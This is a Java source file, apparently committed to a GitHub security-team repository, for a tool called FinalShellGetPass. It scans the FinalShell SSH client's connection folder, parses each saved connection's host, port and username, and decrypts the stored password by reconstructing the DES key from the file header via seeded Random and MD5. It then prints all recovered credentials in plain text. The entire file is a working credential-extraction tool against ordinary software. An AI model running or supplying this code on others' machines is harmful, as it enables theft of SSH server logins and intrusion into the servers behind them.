1+ import java .io .*;
2+ import java .nio .charset .StandardCharsets ;
3+ import java .nio .file .Files ;
4+ import java .security .MessageDigest ;
5+ import java .security .NoSuchAlgorithmException ;
6+ import java .security .SecureRandom ;
7+ import java .util .ArrayList ;
8+ import java .util .Base64 ;
9+ import java .util .List ;
10+ import java .util .Random ;
11+ import javax .crypto .Cipher ;
12+ import javax .crypto .SecretKey ;
13+ import javax .crypto .SecretKeyFactory ;
14+ import javax .crypto .spec .DESKeySpec ;
15+
16+ public class Main {
17+
18+ static final String HOST_SPLIT = "host\" :\" " ;
19+ static final String PORT_SPLIT = "port\" :" ;
20+ static final String USERNAME_SPLIT = "user_name\" :\" " ;
21+ static final String PASSWORD_SPLIT = "password\" :\" " ;
22+
23+ static final String COMMA_MARK = "," ;
24+ static final String QUOTATION_MARK = "\" " ;
25+
26+ static final String CONN_FILE_SUFFIX = "_connect_config.json" ;
27+
28+ static SecureRandom sr ;
29+ static Base64 .Decoder b64d = Base64 .getDecoder ();
30+
31+ public static void main (String [] args ) {
32+ if (args .length == 0 ) {
33+ System .out .println ("""
34+ 参数: 跟FinalShell的conn文件夹路径
35+ ----Win: FinalShellGetPass.exe X:\\ FinalShell的安装目录\\ conn\\
36+ ----Mac: FinalShellGetPass ~/Library/FinalShell/conn/
37+ """ );
38+ return ;
39+ }
40+
41+ File rootFile = new File (args [0 ]);
42+ if (!rootFile .exists ()) {
43+ System .out .println ("文件夹不存在!" );
44+ }
45+
46+ System .out .println ("""
47+ _____ _ _ ____ _ _ _ ____ _ ____
48+ | ___(_)_ __ __ _| / ___|| |__ ___| | |/ ___| ___| |_| _ \\ __ _ ___ ___
49+ | |_ | | '_ \\ / _` | \\ ___ \\ | '_ \\ / _ \\ | | | _ / _ \\ __| |_) / _` / __/ __|
50+ | _| | | | | | (_| | |___) | | | | __/ | | |_| | __/ |_| __/ (_| \\ __ \\ __ \\
51+ |_| |_|_| |_|\\ __,_|_|____/|_| |_|\\ ___|_|_|\\ ____|\\ ___|\\ __|_| \\ __,_|___/___/
52+ Author: RichardTang
53+ GitHub: https://github.com/MaskCyberSecurityTeam/FinalShellGetPass
54+ """ );
55+
56+ List <File > connFiles = getConnJsonFile (args [0 ], new ArrayList <>());
57+
58+ System .out .println ("===============================================" );
59+ for (File file : connFiles ) {
60+
61+ String fileContent ;
62+ try {
63+ fileContent = Files .readString (file .toPath ());
64+ } catch (IOException ioException ) {
65+ ioException .printStackTrace ();
66+ break ;
67+ }
68+
69+ String host ;
70+ String port ;
71+ String username ;
72+ String password ;
73+
74+ host = fileContent .split (HOST_SPLIT )[1 ].split (QUOTATION_MARK )[0 ];
75+ port = fileContent .split (PORT_SPLIT )[1 ].split (COMMA_MARK )[0 ];
76+ username = fileContent .split (USERNAME_SPLIT )[1 ].split (QUOTATION_MARK )[0 ];
77+
78+ try {
79+ password = decodePass (fileContent .split (PASSWORD_SPLIT )[1 ].split (QUOTATION_MARK )[0 ]);
80+ } catch (Exception e ) {
81+ password = "密码解密失败!" ;
82+ }
83+
84+ System .out .printf ("Host: %s\r \n " , host );
85+ System .out .printf ("Port: %s\r \n " , port );
86+ System .out .printf ("UserName: %s\r \n " , username );
87+ System .out .printf ("PassWord: %s\r \n " , password );
88+ System .out .println ("===============================================" );
89+ }
90+ }
91+
92+ static List <File > getConnJsonFile (String filePath , List <File > fileList ) {
93+ File root = new File (filePath );
94+ if (root .exists ()) {
95+ File [] files = root .listFiles ();
96+ for (File file : files ) {
97+ if (file .isDirectory ()) {
98+ getConnJsonFile (file .getAbsolutePath (), fileList );
99+ } else {
100+ if (file .getName ().contains (CONN_FILE_SUFFIX )) {
101+ fileList .add (file );
102+ }
103+ }
104+ }
105+ }
106+ return fileList ;
107+ }
108+
109+ static boolean checkStr (String str ) {
110+ if (str == null ) {
111+ return true ;
112+ } else {
113+ String s2 = str .trim ();
114+ return "" .equals (s2 );
115+ }
116+ }
117+
118+ static String decodePass (String data ) throws Exception {
119+ if (data == null ) {
120+ return null ;
121+ } else {
122+ String rs = "" ;
123+ if (!checkStr (data )) {
124+ byte [] buf = b64d .decode (data );
125+ byte [] head = new byte [8 ];
126+ System .arraycopy (buf , 0 , head , 0 , head .length );
127+ byte [] d = new byte [buf .length - head .length ];
128+ System .arraycopy (buf , head .length , d , 0 , d .length );
129+ byte [] bt = desDecode (d , ranDomKey (head ));
130+ rs = new String (bt , StandardCharsets .UTF_8 );
131+ }
132+ return rs ;
133+ }
134+ }
135+
136+ static byte [] ranDomKey (byte [] head ) throws NoSuchAlgorithmException {
137+ long ks = 3680984568597093857L / (long ) (new Random (head [5 ])).nextInt (127 );
138+ Random random = new Random (ks );
139+ int t = head [0 ];
140+
141+ for (int i = 0 ; i < t ; ++i ) {
142+ random .nextLong ();
143+ }
144+
145+ long n = random .nextLong ();
146+ Random r2 = new Random (n );
147+ long [] ld = new long []{(long ) head [4 ], r2 .nextLong (), (long ) head [7 ], (long ) head [3 ], r2 .nextLong (), (long ) head [1 ], random .nextLong (), (long ) head [2 ]};
148+ ByteArrayOutputStream bos = new ByteArrayOutputStream ();
149+ DataOutputStream dos = new DataOutputStream (bos );
150+ long [] arrayOfLong1 = ld ;
151+ int j = ld .length ;
152+
153+ for (byte b = 0 ; b < j ; ++b ) {
154+ long l = arrayOfLong1 [b ];
155+
156+ try {
157+ dos .writeLong (l );
158+ } catch (IOException var18 ) {
159+ var18 .printStackTrace ();
160+ }
161+ }
162+
163+ try {
164+ dos .close ();
165+ } catch (IOException var17 ) {
166+ var17 .printStackTrace ();
167+ }
168+
169+ byte [] keyData = bos .toByteArray ();
170+ keyData = md5 (keyData );
171+ return keyData ;
172+ }
173+
174+ static byte [] md5 (byte [] data ) throws NoSuchAlgorithmException {
175+ return MessageDigest .getInstance ("MD5" ).digest (data );
176+ }
177+
178+ static byte [] desDecode (byte [] data , byte [] key ) throws Exception {
179+ DESKeySpec dks = new DESKeySpec (key );
180+ SecretKeyFactory keyFactory = SecretKeyFactory .getInstance ("DES" );
181+ SecretKey secretKey = keyFactory .generateSecret (dks );
182+ Cipher cipher = Cipher .getInstance ("DES" );
183+ cipher .init (2 , secretKey , sr );
184+ return cipher .doFinal (data );
185+ }
186+ }
0 commit comments